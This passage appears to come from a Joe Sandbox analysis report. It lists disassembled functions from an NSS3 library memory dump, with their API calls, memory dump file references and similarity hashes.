
SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C5ED864,?), ref: 6C508947

Part of subcall function 6C51E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C51E245
Part of subcall function 6C51E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C51E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C50895B
DER_GetInteger_Util.NSS3(?), ref: 6C508973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C508982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C5089EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C508A12

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 465087234641257c17c53890d9499099d1e6fb17bd4811701cf427302f5cb902
Instruction ID: bfa9c63a4321b1d365e3fc61372c3064d2bf14823aa7cc89aba3a70e0591931d
Opcode Fuzzy Hash: 465087234641257c17c53890d9499099d1e6fb17bd4811701cf427302f5cb902
Instruction Fuzzy Hash: 883147B1B08E0096F7106629AC45FAA36959FD132CF240F37D919D7F91FB26C8468293

Function 6C4CDCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C4CDCFA

Part of subcall function 6C589DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DC6
Part of subcall function 6C589DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C5D0A27), ref: 6C589DD1
Part of subcall function 6C589DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C589DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4CDD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C4CDD62
CERT_DestroyCertificate.NSS3(?), ref: 6C4CDD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C4CDD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C4CDD8F

Part of subcall function 6C4E06A0: TlsGetValue.KERNEL32 ref: 6C4E06C2
Part of subcall function 6C4E06A0: EnterCriticalSection.KERNEL32(?), ref: 6C4E06D6
Part of subcall function 6C4E06A0: PR_Unlock.NSS3 ref: 6C4E06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C4CDD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C4CDDB7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 1864370cb12edae8a22441db489509614fd363ae7f8707919c3da6f0bb9340d3
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 1B215EBAF412259BEF01DEA4DC40EAFB7B4AF15319B150024E918A7721E721ED15CBE3

Function 6C50F820 Relevance: 12.1, APIs: 8, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AD50: free.MOZGLUE(8955CCCC,?,6C4DB1EE,2404110F,?,?), ref: 6C50AD7C
Part of subcall function 6C50AD50: free.MOZGLUE(565753E5,?,6C4DB1EE,2404110F,?,?), ref: 6C50ADAB

free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C50F854
free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C50F868
DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C50F882
free.MOZGLUE(04C483FF,?,?), ref: 6C50F889
DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C50F8A4
free.MOZGLUE(CCCCCCC3,?,?), ref: 6C50F8AB
DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C50F8C9
free.MOZGLUE(280F10EC,?,?), ref: 6C50F8D0

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 70b38e1c6a10435cb394b4ca3419024134413f821ab6f90d87ddf5487dfa7d17
Instruction ID: 1f71640becb85cc36695efe68d0a7f038b1f3e8693b71cb9e90d0f6775b74641
Opcode Fuzzy Hash: 70b38e1c6a10435cb394b4ca3419024134413f821ab6f90d87ddf5487dfa7d17
Instruction Fuzzy Hash: 2621ACB2700601ABEB119F6AD88AB9B73B8BF45745F040439E50BC3E00D736F014CB99

Function 6C555F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555F72

Part of subcall function 6C4BED70: DeleteCriticalSection.KERNEL32(?), ref: 6C4BED8F
Part of subcall function 6C4BED70: DeleteCriticalSection.KERNEL32(?), ref: 6C4BED9E
Part of subcall function 6C4BED70: DeleteCriticalSection.KERNEL32(?), ref: 6C4BEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555FCC
free.MOZGLUE(?,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555FF4
free.MOZGLUE(?,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C555FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C556019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C55AADB,?,?,?,?,?,?,?,?,00000000,?,6C5580C1), ref: 6C556036

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: f51390e56549e7d4a2d0f70f2a1b1b4783cd3bdc49ec5d6aaf56342e861f2a3a
Instruction ID: 8c5a3913f6a83c566fee5d32c8665e37682d50a559b245ec636fddb11253e36c
Opcode Fuzzy Hash: f51390e56549e7d4a2d0f70f2a1b1b4783cd3bdc49ec5d6aaf56342e861f2a3a
Instruction Fuzzy Hash: 6B2127F1604B01ABEB219F75DC49BD776A8AF41709F500829E46A87A40EB76E018CBA1

Function 6C4C3810 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PL_NewHashTable.NSS3(00000000,6C51FE80,6C51FD30,6C51FD30,6C620544,00000000,?,?,6C4D7645), ref: 6C4C3829

Part of subcall function 6C4AACC0: memset.VCRUNTIME140(00000000,00000000,00000004), ref: 6C4AAD48

PR_NewLock.NSS3(?,?,?,?,?,6C4D7645), ref: 6C4C383A

Part of subcall function 6C5898D0: calloc.MOZGLUE(00000001,00000084,6C4B0936,00000001,?,6C4B102C), ref: 6C5898E5

PL_NewHashTable.NSS3(00000000,6C51FE80,6C51FD30,6C51FD30,6C620544,00000000,?,?,?,?,?,6C4D7645), ref: 6C4C385D
PR_NewLock.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C4D7645), ref: 6C4C386E

Part of subcall function 6C5898D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C589946
Part of subcall function 6C5898D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4416B7,00000000), ref: 6C58994E
Part of subcall function 6C5898D0: free.MOZGLUE(00000000), ref: 6C58995E

PL_HashTableDestroy.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C4D7645), ref: 6C4C3882
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D7645), ref: 6C4C389B
PL_HashTableDestroy.NSS3(?,?,?,?,?,6C4D7645), ref: 6C4C38B4
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,6C4D7645), ref: 6C4C38C9

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: HashTable$Error$DestroyLock$CountCriticalInitializeLastSectionSpincallocfreememset
String ID:
API String ID: 3316637992-0
Opcode ID: 0c793c720f5c0e4f61d86edef6b02df20c07fb9cef8ead1748fa981a0ff65231
Instruction ID: 1eb136ab42e95849c17fdbc70fe00a8910492e19f0d622b3016bdff22dcae744
Opcode Fuzzy Hash: 0c793c720f5c0e4f61d86edef6b02df20c07fb9cef8ead1748fa981a0ff65231
Instruction Fuzzy Hash: B411A9F4B601127AFB009AA65C49FA7769C9B5121CF500135AD05D3F50FF25D9048BFA

Function 6C5D0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D086C

Part of subcall function 6C5D0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C5D0C83), ref: 6C5D094F
Part of subcall function 6C5D0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C5D0C83), ref: 6C5D0974
Part of subcall function 6C5D0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D0983
Part of subcall function 6C5D0930: _PR_MD_UNLOCK.NSS3(?,?,6C5D0C83), ref: 6C5D099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5D08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D08E9
free.MOZGLUE(?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C5D7AE2,?,?,?,?,?,?,6C5D798A), ref: 6C5D090E

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 852e5d8a1e02e94721bd07eb282998904ae397896e0d29180632c37f6abbf961
Instruction ID: 8df4d5d7e751cf0d5fe798a06c3ee5cc156fc0ac1fe4264c30390e0ee274b612
Opcode Fuzzy Hash: 852e5d8a1e02e94721bd07eb282998904ae397896e0d29180632c37f6abbf961
Instruction Fuzzy Hash: 921184B1B053405BEB00AB5EDCC5B8E37B8AB81759F190136D40647A40DA36FC45CBDE

Function 6C4EF810 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001), ref: 6C4EF82E

Part of subcall function 6C4ECD80: free.MOZGLUE(?,6C4ED079,00000000,00000001), ref: 6C4ECDA5
Part of subcall function 6C4ECD80: PK11_FreeSymKey.NSS3(?,6C4ED079,00000000,00000001), ref: 6C4ECDB6
Part of subcall function 6C4ECD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C4ED079,00000000,00000001), ref: 6C4ECDCF
Part of subcall function 6C4ECD80: DeleteCriticalSection.KERNEL32(?,6C4ED079,00000000,00000001), ref: 6C4ECDE2
Part of subcall function 6C4ECD80: free.MOZGLUE(?), ref: 6C4ECDE9

PK11_FreeSymKey.NSS3(?), ref: 6C4EF840
PK11_FreeSymKey.NSS3(?), ref: 6C4EF84B
PK11_FreeSymKey.NSS3(?), ref: 6C4EF856
PK11_FreeSymKey.NSS3(?), ref: 6C4EF861
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4EF870
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4EF87C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C4EF888

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: K11_$Free$Item_UtilZfree$free$ContextCriticalDeleteDestroySection
String ID:
API String ID: 1794285729-0
Opcode ID: 971ce7c34dcc84170e98f9d9b8a30b415ca6da9d225b9c5342db9a86e70c21c6
Instruction ID: 8d717345b5a1192f4078d91a97d204f419b5f14f370eb1b9bb9378c0a59f5ecf
Opcode Fuzzy Hash: 971ce7c34dcc84170e98f9d9b8a30b415ca6da9d225b9c5342db9a86e70c21c6
Instruction Fuzzy Hash: 8C11C1B7A11704DBE6219F25BC41D57B7F4EF9421EB100639E84A91F20F732FD188691

Function 6C4C3C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C53460B,?,?), ref: 6C4C3CA9
EnterCriticalSection.KERNEL32(?), ref: 6C4C3CB9
PL_HashTableLookup.NSS3(?), ref: 6C4C3CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C4C3CD6
PR_Unlock.NSS3 ref: 6C4C3CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C4C3CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C4C3D03
PR_Unlock.NSS3 ref: 6C4C3D15

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: d4d7c4c5b12d77bcf1c4696b868312a3127d5e5dc0ee5bd0d3b18618c6a9fe5c
Instruction ID: 322289dedc038c8a834f0915527de57eb38f5153ce5baa854acadbcb16415974
Opcode Fuzzy Hash: d4d7c4c5b12d77bcf1c4696b868312a3127d5e5dc0ee5bd0d3b18618c6a9fe5c
Instruction Fuzzy Hash: 75110DBEF00105A7EB015726DC45DEA7B78EB4226DF144130EC1853B21FB22DD5886D6

Function 6C5DB850 Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB862
free.MOZGLUE(?,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB869
DeleteCriticalSection.KERNEL32(?,00000000,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB88A
free.MOZGLUE(?,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB891
DeleteCriticalSection.KERNEL32(6C5D798A), ref: 6C5DB8B9
free.MOZGLUE(?), ref: 6C5DB8C0
DeleteCriticalSection.KERNEL32(?,00000000,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB8E1
free.MOZGLUE(?,?,6C5D7AF9,?,?,?,?,?,?,?,?,6C5D798A), ref: 6C5DB8E8

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 34b63476d9e25735f2ccec4ebb7e7364e879ff3bbe08b4844f602fc6a31d6d9d
Instruction ID: f52b175119b94598e0d95461f98c8fa6e2d33a5849eff2d96356ce71e6608f55
Opcode Fuzzy Hash: 34b63476d9e25735f2ccec4ebb7e7364e879ff3bbe08b4844f602fc6a31d6d9d
Instruction Fuzzy Hash: C01186B1A02610ABDF11EFAAD88DB4B77B8BB0A725F010125E51797A00C339E545CBDD

Function 6C4C9C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4E11C0: PR_NewLock.NSS3 ref: 6C4E1216

free.MOZGLUE(?), ref: 6C4C9E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C9E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4C9E4E
TlsGetValue.KERNEL32 ref: 6C4C9EA2

Part of subcall function 6C4D9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C4D9546

EnterCriticalSection.KERNEL32(?), ref: 6C4C9EB6
PR_Unlock.NSS3 ref: 6C4C9ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C4C9F18

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 063bd4985ab43c9d1f2d18a1270e3e08268612d1bbc17219d28dd4db81a71766
Instruction ID: bcc3415d547cbd6c3662852face0a1321742524208c0df1f64fea344d9db3ab4
Opcode Fuzzy Hash: 063bd4985ab43c9d1f2d18a1270e3e08268612d1bbc17219d28dd4db81a71766
Instruction Fuzzy Hash: 9281E6B9B00601ABE710DF24CC41EABB7A5BF6424DF15452DE84987B61FB32E914C7D2

Function 6C4DDCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(D958E852,6C4E1397,5B5F5EC0,?,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB3C
Part of subcall function 6C4DAB10: free.MOZGLUE(D958E836,?,6C4DB1EE,2404110F,?,?), ref: 6C4DAB49
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(5D5E6C6D), ref: 6C4DAB5C
Part of subcall function 6C4DAB10: free.MOZGLUE(5D5E6C61), ref: 6C4DAB63
Part of subcall function 6C4DAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C4DAB6F
Part of subcall function 6C4DAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C4DAB76

TlsGetValue.KERNEL32 ref: 6C4DDCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C4DDD0E
PK11_IsFriendly.NSS3(?), ref: 6C4DDD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C4DDD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DDE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DDEA6
PR_Unlock.NSS3(?), ref: 6C4DDF08

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: cbfedac176f5e5394f4bbe843a85f4053c29a6c40079e57e6fb167dfaf9ebd75
Instruction ID: 09e009b0163f3bed478b4910d2d513107ab1a659b658d86b1841b125d3994400
Opcode Fuzzy Hash: cbfedac176f5e5394f4bbe843a85f4053c29a6c40079e57e6fb167dfaf9ebd75
Instruction Fuzzy Hash: BA91D4B5A002059FDB00EF68C891FAABBB5AF54309F164029DD199BB41E731F946CFE1

Function 6C495FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C57BB62,00000004,6C5E4CA4,?,?,00000000,?,?,6C4531DB), ref: 6C4960AB
sqlite3_config.NSS3(00000004,6C5E4CA4,6C57BB62,00000004,6C5E4CA4,?,?,00000000,?,?,6C4531DB), ref: 6C4960EB
sqlite3_config.NSS3(00000012,6C5E4CC4,?,?,6C57BB62,00000004,6C5E4CA4,?,?,00000000,?,?,6C4531DB), ref: 6C496122

Strings

misuse, xrefs: 6C49609F
